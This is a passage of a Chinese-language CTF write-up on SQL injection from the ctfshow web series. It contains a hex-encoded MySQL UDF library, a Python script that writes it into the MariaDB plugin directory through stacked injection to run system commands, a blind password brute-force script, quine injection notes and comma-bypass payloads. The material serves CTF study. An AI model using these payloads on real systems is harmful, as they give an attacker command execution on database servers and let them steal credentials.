000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400 ' codes = [] for i in range (0 , len (code), 128 ): codes.append(code[i:min (i + 128 , len (code))]) def commit_payload (payload: str ): requests.get(url + f'''0';{payload} ;-- A''' ) commit_payload('''delete from temp''' ) commit_payload('''insert into temp(data) values (0x{})''' .format (codes[0 ])) for k in range (1 , len (codes)): commit_payload('''update temp set data = concat(data,0x{})''' .format (codes[k])) commit_payload('''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\'''' ) commit_payload('''create function sys_eval returns string soname 'udf.so\'''' ) commit_payload( '''update ctfshow_user set pass=(select sys_eval('cat /flag.????'))''' ) r = requests.get(url[:-4 ] + '?page=1&limit=10' ) print (r.text)
两个脚本都跑了一次,都ok,第一个要快些
quine注入 Quine指的是自产生程序,简单的说,就是输入的sql语句与要输出的一致,下面是例题。
(比如,输入的password和数据库中存储的一样的时候才会输出flag)
1 2 $password =$_POST ['passwd' ];$sql ="SELECT passwd FROM users WHERE username='bilala' and passwd='$password ';" ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = 'http://node4.anna.nssctf.cn:28457/index.php' str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' flag = '' for i in range (62 ): for j in str : data = { 'username' : 'admin' , "password" : f"-1'/**/or/**/password/**/like/**/'{flag + j} %'#" } response = requests.post(url, data=data) if "something wrong" not in response.text: flag = flag + j print (response.text) break
Nosql注入 web249 -253 nosql我还没学,待补充
CTFSHOW WEB入门 SQL注入篇 - b477eRy - 博客园 (cnblogs.com)
练题补充 绕过逗号 有回显
原本union正常语句
1 select user_id,user,password from users union select 1,2,3;
使用join绕过
1 select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
盲注中逗号绕过 逗号绕过 SUBTTRING 函数 substring(str FROM pos) 从字符串str的起始位置pos 返回一个子串
1 union select case when substring ((select password from mysql.user where user='root' ) from 1 for 1) ='e' then sleep (5 ) else 0 end #